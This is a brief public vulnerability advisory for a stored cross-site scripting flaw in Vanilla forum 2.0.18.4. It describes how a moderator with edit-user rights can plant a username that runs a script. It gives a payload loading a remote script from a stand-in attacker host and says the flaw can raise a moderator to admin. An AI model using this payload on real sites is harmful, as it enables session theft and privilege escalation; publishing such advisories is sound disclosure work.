Vanilla 2.0.18.4 Cross Site Scripting

# Title: Vanilla Moderator Edit Account XSS Vulnerability
# Date: 18/5/12
# Author: Henry Hoggard
# Author URL: henryhoggard.co.uk
# Author Twitter: @henryhoggard
# Software: Vanilla Version 2.0.18.4
# http://http://vanillaforums.org
#############################################################

This is a very low risk vulnerability because it requires a certain level of privileges.
If a moderator is given the Edit User privilege then they can edit an accounts username and replace it with a malicious XSS string.

XSS:
<SCRIPT SRC=http://evil.tld/xss.js></SCRIPT>

Then send the target user to

http://vanillaforum.tld/index.php?p=/activity

This can be used to escalate privileges from moderator to admin